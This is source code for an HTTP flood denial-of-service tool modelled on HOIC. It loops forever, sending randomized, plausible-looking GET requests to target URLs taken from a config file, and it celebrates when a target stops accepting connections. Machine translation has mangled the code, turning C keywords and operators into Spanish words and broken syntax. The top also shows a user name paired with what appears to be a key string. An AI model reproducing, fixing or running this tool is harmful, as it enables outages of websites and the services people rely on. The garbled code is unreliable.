User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX
User:ISHAAN,glaitm    Key:27R3VDEFYFX4N0VC3FRTQZX

/ * HOIC - cañón de iones de alta orbital
 
     . * Hoic archivos:
     * Líneas de ejemplo válido:
     * # (Comentarios)
     * URL: http://www.example.org:80/foo/bar
     * User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
     * Juego de caracteres: ISO-8859-1
     * Aceptar: text / html
     *
     * Se necesita al menos una de cada una de las líneas anteriores para que funcione.
     * URL siempre debe incluir "http://" y un puerto. No HTTPS, sin embargo, lo siento.
     *
     * Este código se libera en el dominio público.
     *
     * - Anónimo
     * /
     
    # Include
    # Include
    # Include <sys/types.h>
    # Include <sys/socket.h>
    # Include <netinet/in.h>
    # Include <netdb.h>
    # Include <stdarg.h>
    # Include <string.h>
     
    / * Si usted está escribiendo cargas personalizadas, que controlan lo que
       pasa a la conexión después de enviar su petición * /
    # Define CLOSENOW 0
    # Define leer 1
    # Define repetir 2
     
    # Define SOCKET_BUF_SIZE 2048
     
    typedef struct {list_t
            char * datos;
            struct list_t * siguiente;
    List_t};
     
    list_t urls *;
    int numUrls = 0;
    list_t * userAgents;
    int numUserAgents = 0;
    list_t * acceptTypes;
    int numAcceptTypes = 0;
    list_t charsets *;
    int numCharsets = 0;
     
    int socket_printf (int sockfd, const char * fmt, ...)
    {
            int retval = 0;
            va_list ap;
            char * cadena = malloc (SOCKET_BUF_SIZE);
           
            va_start (ap, fmt);
            retval = vsprintf (str, fmt, ap);
            va_end (ap);
     
       escribir (sockfd, str, strlen (str));
            libre (str);
            volver retval;
    }
     
    / * Crear un retraso aleatorio de milisegundos entre inferiores y superiores. * /
    randomDelay vacío (int límite inferior, límite superior int) {
            int r = límite inferior + (rand () / (float) RAND_MAX) * (límite superior - límite inferior);
            usleep (1000 * R);
    }
     
    AddURL vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza urls =;
     
            numUrls + +;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            if (urls == NULL) {
                    urls = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    addUserAgent vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = userAgents;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
           
            numUserAgents + +;
     
            if (userAgents == NULL) {
                    userAgents = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    addAcceptType vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = acceptTypes;
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            numAcceptTypes + +;
     
            if (acceptTypes == NULL) {
                    acceptTypes = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    AddCharset vacío (char * data) {
            list_t * el = (list_t *) malloc (sizeof (list_t));
            list_t * cabeza = juegos de caracteres;
     
            printf ("Juego de caracteres:% s \ n", datos);
     
            el-> data = strdup (datos);
            el-> siguiente = NULL;
     
            numCharsets + +;
     
            if (juegos de caracteres == NULL) {
                    charsets = el;
                    return;
            }
     
            while (cabeza-> siguiente! = NULL) {
                    cabeza = cabeza-> siguiente;
            }
     
            cabeza-> siguiente = el;
    }
     
    char * listGet (list_t * cabeza, int n) {
            if (cabeza == NULL) {
                    fprintf (stderr, "no listGet% (d) \ n", n);
                    exit (1);
            }
     
            if (n == 0) return cabeza-> data;
     
            volver listGet (cabeza-> siguiente, n-1);
    }
     
    char * randomUrl (void) {
            int sel = (rand () / (float) RAND_MAX) numUrls *;
            volver listGet (urls, sel);
    }
     
    randomUserAgent char * (void) {
            int sel = (rand () / (float) RAND_MAX) numUserAgents *;
            volver listGet (userAgents, sel);
    }
     
    char * randomAcceptString (void) {
            int sel = (rand () / (float) RAND_MAX) * numAcceptTypes;
            volver listGet (acceptTypes, sel);
    }
     
    char * randomCharset (void) {
            int sel = (rand () / (float) RAND_MAX) numCharsets *;
            volver listGet (juegos de caracteres, sel);
    }
     
    int randomKeepAlive (void) {
            devolución de 30 + (((rand () / (float) RAND_MAX) * 5) * 15);
    }
     
    / * Generar una solicitud plausible de aspecto HTTP.
     
            Esto va a generar todo lo que antes de la final \ r \ n,
            para permitir que la carga útil () para agregar encabezados.
     
            llamar finish_http_request () después de este
            para generar el resto.
    * /
    send_http_request vacío (int sockfd, char * host, char * uri) {
            socket_printf (sockfd, "GET /% s HTTP/1.1 \ r \ n", uri);
            socket_printf (sockfd, "Host:% s \ r \ n", host);
            socket_printf (sockfd, "User-Agent:% s \ r \ n", randomUserAgent ());
            socket_printf (sockfd, "Aceptar:% s,% s,% s, q = 0,9 ,*/*; q = 0,8 \ r \ n",
                                                    randomAcceptString (),
                                                    randomAcceptString (),
                                                    randomAcceptString ());
            socket_printf (sockfd, "Keep-Alive:% d \ r \ n", randomKeepAlive ());
            socket_printf (sockfd, "Cache-Control: no-cache \ r \ n");
            socket_printf (sockfd, "Accept-Charset:% s,% s,, q = 0,7, *, q = 0,7 \ r \ n",
                                                    randomCharset (), randomCharset ());
    }
     
    finish_http_request vacío (int sockfd) {
            socket_printf (sockfd, "\ r \ n");
    }
     
    / *
            / / CLOSENOW si el socket debe ser cerrado inmediatamente.
            / / Leer leer de nuevo los datos de toma y cierre.
            / / Repetir si debemos mantener la cabeza abierta y hacer otra petición.
    * /
    int carga (int sockfd, anfitrión char *, char * uri) {
            send_http_request (sockfd, host, uri);
            finish_http_request (sockfd);
     
            libre (host);
            libre (URI);
     
            volver CLOSENOW;
    }
     
    int main (int argc, char * argv []) {
            peticiones unsigned int, cargas;
            int sockfd, portno, n, resolver, vuelva a conectar;
            struct sockaddr_in serv_addr;
            struct hostent * servidor;
            carbón buffer [1024];
     
            printf ("GEOSYNCRONOUS ORBITAL cañón de iones (GOIC) \ n".)
     
            if (argc <2) {
                    fprintf (stderr,
                                      "Uso:% s <file.goic> \ n",
                                      argv [0]);
                    exit (1);
            }
     
            FILE * fp = fopen (argv [1], "r");
            caracteres de línea [1024];
     
            if (fp == NULL) {
                    fprintf (stderr, "Error al abrir el archivo '% s' \ n", argv [1]);
                    exit (1);
            }
     
            while (fgets (linea, 1024, fp)! = NULL) {
                    if (linea [0] == '#') siguen;
     
                    línea [strlen (línea) -1] = '\ 0';
     
                    if (0 == strncmp (línea, "URL", 5))
                            AddURL (strdup (línea 5));
     
                    else if (0 == strncmp (línea, "user-agent", 11))
                            addUserAgent (strdup (línea 11));
     
                    else if (0 == strncmp (línea, "Aceptar", 8))
                            addAcceptType (strdup (línea 8));
     
                    else if (0 == strncmp (línea, "Juego de caracteres:", 9))
                            AddCharset (strdup (línea 9));
     
                    else if (linea [0] == '\ r' | | line [0] == '\ n') siguen;
            }
     
            / * La semilla del generador de números aleatorios * /
            srand (time (0));
     
            resolver = 1;
            reconectar = 1;
            peticiones = 0;
            cargas = 0;
     
            while (1) {
                    char * url = randomUrl ();
     
                    anfitrión char [255];
                    caracteres uri [255];
     
                    sscanf (url, "254% http:// [^:]:% 99d /% 254 [^ \ n]", de acogida, y portno, uri);
     
                    if ((% carga útil 100) == 0) {
                            printf ("* Informe sobre la marcha:");
                            printf ("% los intentos de conexión u /% u cargas entregadas. \ n",
                                                    peticiones,
                                                    cargas);
                    }
     
                    if (conectar) {
                            sockfd = socket (AF_INET, SOCK_STREAM, 0);
                            peticiones + +;
                    }
     
                    if (sockfd <0) {
                            fprintf (stderr, ". Error al crear el socket Vamos a esperar e intentarlo de nuevo \ n".)
                            randomDelay (5000,20000);
                            reconectar = 1;
                            continuar;
                    }
     
                    if (resolver) {
                            printf ("host Resolución:% s \ n", host);
     
                            servidor = gethostbyname (host);
     
                            if (servidor == NULL) {
                                    fprintf (stderr, "Error: No se ha podido resolver el host:% s \ n", host);
                                    randomDelay (500,5000);
                                    continuar;
                            }
                   
                            bzero ((char *) & serv_addr, sizeof (serv_addr));
                            serv_addr.sin_family = AF_INET;
                            bcopy ((char *) en el servidor> h_addr,
                                            (Char *) y serv_addr.sin_addr.s_addr,
                                            servidor> h_length);
                   
                            serv_addr.sin_port = htons (portno);
     
                            resolver = 0;
                    }
     
                    if (y volver a conectar y conectar (sockfd, y serv_addr, sizeof (serv_addr)) <0) {
                            resolver = 1;
                            reconectar = 1;
                            fprintf (stderr,
                            "Host parece estar rechazando las conexiones victoria está a la mano 1111one \ n!");
                            randomDelay (50,1000);
                            continuar;
                    }
     
                    n = carga útil (sockfd, strdup (host), strdup (URI));
                    cargas + +;
                   
                    if (n == CLOSENOW) {
                            cierre (sockfd);
                            reconectar = 1;
                    } Else if (n == LEER) {
                            leer (sockfd, buffer, 1024);
                            randomDelay (50,1000);
                            cierre (sockfd);
                            reconectar = 1;
                    Else {}
                            if (leer (sockfd, buffer, 1024)) {
                                    reconectar = 0;
                                    resolver = 0;
                            Else {}
                                    reconectar = 1;
                                    resolver = 1;
                            }
                    }
            }
     
            return 0;
    }